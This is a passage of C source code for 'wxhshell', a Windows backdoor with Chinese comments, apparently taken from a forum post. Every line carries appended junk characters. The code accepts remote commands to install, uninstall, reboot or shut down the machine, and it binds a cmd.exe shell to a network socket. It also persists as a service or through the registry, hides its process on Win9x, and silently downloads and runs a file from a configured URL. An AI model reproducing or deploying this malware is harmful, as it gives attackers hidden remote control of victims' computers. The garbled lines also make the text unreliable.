  } 5D0O.v  
  else { cn (-{dCXM  
2Jo'!|]  
    switch(cmd[0]) { M@@l>"g@  
  0g% `L_e_  
  // 帮助 tqyR~  
  case '?': { Zh.5\&bm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6W&huIQ[  
    break; nQ>?{"  
  } `hYj0:*)S$  
  // 安装 T7vilfO5G  
  case 'i': { u50 o1^<X  
    if(Install()) "w ] Bq0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,[ dEP  
    else xab1`~%K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dWV.5cViP  
    break; g[<K FVlG  
    } CDcZ6.f  
  // 卸载 *gMo(-tN  
  case 'r': { ihjs%5Jo%  
    if(Uninstall()) SwHrHj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+wy`xi  
    else /IS_-h7>XS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^g/    
    break; L+y}hb r  
    } &P 'cf|KI  
  // 显示 wxhshell 所在路径 (VeX[*}I  
  case 'p': { b 'p0T1K(  
    char svExeFile[MAX_PATH]; 4PG]L`J{  
    strcpy(svExeFile,"\n\r"); xgV. <^  
      strcat(svExeFile,ExeFile); Z,AF^,H[  
        send(wsh,svExeFile,strlen(svExeFile),0); X5i?B b.  
    break; `l+{jrRb<  
    } @-y.Y}k#$~  
  // 重启 "w}}q>P+sA  
  case 'b': { h^ wu8E   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >jxo,xz  
    if(Boot(REBOOT)) |r2 U4 ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ! K:  
    else { e= $p(  
    closesocket(wsh); r|2Y|6@  
    ExitThread(0); 9m^"ca  
    } ktX\{g!U  
    break; I6?n>  
    } _7df(+.{<A  
  // 关机 Tjba @^T  
  case 'd': { 7=yV8.cD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zd$a}~4~  
    if(Boot(SHUTDOWN)) JL0>-kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@6,Sr)_  
    else { )/VhkSXbG!  
    closesocket(wsh); 67Z@Hg  
    ExitThread(0); 5~GHAi  
    } n/$1&x1  
    break; k=D_9_  
    } &&Ruy(&]I  
  // 获取shell .}'49=c  
  case 's': { t"[ xx_i  
    CmdShell(wsh); t){})nZ/4  
    closesocket(wsh); dO/iL7K&  
    ExitThread(0); R+vago:  
    break; 9z>I&vcX  
  } 5[<" _  
  // 退出 #O3Y#2lI  
  case 'x': { 9eOP:/'}w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .W4P/P w'  
    CloseIt(wsh); -|s w\Q  
    break; N.r8dC  
    } f.Wip)g  
  // 离开 (bpO>4(S  
  case 'q': { CG@3z@*?.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5P=3.Mk  
    closesocket(wsh); OU2.d7  
    WSACleanup(); Wp7lDx  
    exit(1); 2>%|PQ  
    break; M*XAyo4 fI  
        } -J7BEx  
  } ?#N: a  
  } >uHU3<2&  
KtTlc#*KU  
  // 提示信息 +XL^dzN[|$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5RnFe l  
} *4]u?R  
  } z$#q'+$  
5q<cZ)v#&  
  return; NX wthc3  
} Y#aL]LxZE  
}_,\yC9F  
// shell模块句柄 T!-*;yu  
int CmdShell(SOCKET sock) +qN}oyL  
{ |"}F cS y  
STARTUPINFO si; Vf28R,~m  
ZeroMemory(&si,sizeof(si)); MR")  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0PfjD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {J#SpG 7  
PROCESS_INFORMATION ProcessInfo; ky2n%<0]  
char cmdline[]="cmd"; Kkfza  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *u J0ZO9  
  return 0; o[$~  
} q<Tx'Ya  
#bI ,;]T  
// 自身启动模式  kwI[BF  
int StartFromService(void) j!1 :+H_L  
{ ,|5|aVfh  
typedef struct AvP$>Alc  
{ 3C[#_&_l  
  DWORD ExitStatus; ~PaEhj&8  
  DWORD PebBaseAddress; }%^N9AA8  
  DWORD AffinityMask; dWc'RwL  
  DWORD BasePriority; oRDqN]  
  ULONG UniqueProcessId; CjFnE   
  ULONG InheritedFromUniqueProcessId; \kN?7b^  
}   PROCESS_BASIC_INFORMATION; d_7v1)j  
"2l$}G  
PROCNTQSIP NtQueryInformationProcess; D*T*of G  
Ms4~P6;%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r6WSX;K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z;v5L/;  
;?{[vLHDL  
  HANDLE             hProcess; y$Nqw9  
  PROCESS_BASIC_INFORMATION pbi; T`ofj7$:  
j\hI, mc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d76nyQKK  
  if(NULL == hInst ) return 0; a:v5(@8  
LE@<)}Au^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QUQw/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z]~) ->=}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %XC3V7  
5>Kk>[|.  
  if (!NtQueryInformationProcess) return 0; }Qu kn  
&':Ecmo~`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $@Bd}35 J  
  if(!hProcess) return 0; -v@LJCK7I  
]z77hcjB1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  cFD3  
rp&XzMwC4  
  CloseHandle(hProcess); <%Al(Lm0  
gJ=y7yX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W1;QPdz:  
if(hProcess==NULL) return 0; Xp67l!{v  
>TQNrS^$J  
HMODULE hMod; s~p(59  
char procName[255]; ;_~9".'<d  
unsigned long cbNeeded; >0X_UDAWz  
[r#m +R"N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `=Z3X(Kc  
BjSd\Ul  
  CloseHandle(hProcess); {D$5M/$  
/:Q  
if(strstr(procName,"services")) return 1; // 以服务启动 <jAn~=Uq[,  
4 (c{%%  
  return 0; // 注册表启动 m[}@\y  
} -F$v`|(O+  
M\_IQj  
// 主模块 ieap  
int StartWxhshell(LPSTR lpCmdLine) VbI$#;:[7  
{ |Cm6RH$(  
  SOCKET wsl; o#K*-jOfiH  
BOOL val=TRUE; \[9^,Q P  
  int port=0; # 4&t09  
  struct sockaddr_in door; 14pyHMOR  
vojXo|c  
  if(wscfg.ws_autoins) Install(); e"(SlR  
c5em*qCw$  
port=atoi(lpCmdLine); |Vo{ {)  
VPr`[XPXb  
if(port<=0) port=wscfg.ws_port; 0-Ga2Go9  
=91wC  
  WSADATA data; d-cW47  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kNd(KQ<.17  
po!bRk[4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zmc"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3\ {?L  
  door.sin_family = AF_INET; O=5q<7PM.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;#?G2AAv  
  door.sin_port = htons(port); hiKyU! )Hv  
(fun,(R6"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Z l#$>P  
closesocket(wsl); ?={S"qK(q  
return 1; ZOBcV,K  
} ipe8U1Sc  
Ya `$.D  
  if(listen(wsl,2) == INVALID_SOCKET) { -pHUC't  
closesocket(wsl); AM0CIRX$  
return 1; v[<x>?i D_  
} w9w=2 *  
  Wxhshell(wsl); Sq SiuO.D  
  WSACleanup(); ` 7P%muY.  
 X`20=x  
return 0; >{)\GK0i 7  
-V&nlP  
} ~l8w]R3A  
JT! Cb$!  
// 以NT服务方式启动 ~p`[z~|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |ju+{+  
{ <U y $b4h  
DWORD   status = 0; M%YxhuT0  
  DWORD   specificError = 0xfffffff; eiQ42x@Z  
IP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,MjlA{0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c'INmc I|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MCAWn H  
  serviceStatus.dwWin32ExitCode     = 0; y8ODoXk  
  serviceStatus.dwServiceSpecificExitCode = 0; ,R\ex =c  
  serviceStatus.dwCheckPoint       = 0; N*f ]NCSi  
  serviceStatus.dwWaitHint       = 0; w\RYxu?  
P=aYwmC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TbD $lx3>  
  if (hServiceStatusHandle==0) return; . {vMn0c  
A*~BkvPr  
status = GetLastError(); j+PLtE   
  if (status!=NO_ERROR) PA*1]i#2M=  
{ 7_R[ =t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?3%r:g4  
    serviceStatus.dwCheckPoint       = 0; y>X(GF^  
    serviceStatus.dwWaitHint       = 0; Px3I+VP  
    serviceStatus.dwWin32ExitCode     = status; <@$+uZt+  
    serviceStatus.dwServiceSpecificExitCode = specificError; S.Q:O{]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Rhoul[S  
    return; +NJIi@  
  } >0UY,2d  
9PUobV_^Wo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mT/^F{c  
  serviceStatus.dwCheckPoint       = 0; )3WUyD*UZN  
  serviceStatus.dwWaitHint       = 0; }9 ]7V<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :PK2! 0nK  
} "A*;V  
{"2Hv;x  
// 处理NT服务事件,比如:启动、停止 Mh2Zj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TBIr^n>Z<k  
{ VU1Wr|  
switch(fdwControl) "g*`G<W_s  
{ K 6yD64  
case SERVICE_CONTROL_STOP: ;jJ4H+8  
  serviceStatus.dwWin32ExitCode = 0; J|F!$m{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9Qxq]  
  serviceStatus.dwCheckPoint   = 0; 0#NbAMt  
  serviceStatus.dwWaitHint     = 0; ;Y,zlq2  
  { e8E'X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XmaRg{22  
  } icQQLSU5  
  return; ($Op*bR  
case SERVICE_CONTROL_PAUSE: 1#*^+A E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /#z"c]#  
  break; 9C8 G(r  
case SERVICE_CONTROL_CONTINUE: $o. ;}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T[I7.8g  
  break; bXeJk]#y  
case SERVICE_CONTROL_INTERROGATE: 86eaX+F  
  break; 5|7<ZL 3  
}; k(M"k!M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O)ose?Z  
} AV4fN@BX  
XSCcumde!  
// 标准应用程序主函数 @ M4m!;rM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vw$b]MO!  
{ nly}ly Q/  
9f/l"  
// 获取操作系统版本 Z&4L///  
OsIsNt=GetOsVer(); w5yX~8UzJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0|]d^bo  
LqXVi80  
  // 从命令行安装 P @J)S ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ljiw9*ZI  
>xA( *7  
  // 下载执行文件 ArjRoXDE  
if(wscfg.ws_downexe) { (w#)|9Cxm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 aE{}jp1  
  WinExec(wscfg.ws_filenam,SW_HIDE); M(yWE0 3  
} &^w "  
"bB0$>0,  
if(!OsIsNt) { %QQ 2u$  
// 如果时win9x,隐藏进程并且设置为注册表启动 } ,^p{J/  
HideProc(); `EfFyhG$  
StartWxhshell(lpCmdLine); vL;>A]oM2  
} VT-%o7%N  
else Dc* H:x;  
  if(StartFromService()) b@Dt]6_ UL  
  // 以服务方式启动 cml~Oepf  
  StartServiceCtrlDispatcher(DispatchTable); k'*vG6!  
else ri-D#F)}  
  // 普通方式启动 I5Ty@J#  
  StartWxhshell(lpCmdLine); A^$xE6t  
>JA>np  
return 0; ujl ?!  
}
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只看该作者 1 发表于: 2006-10-10
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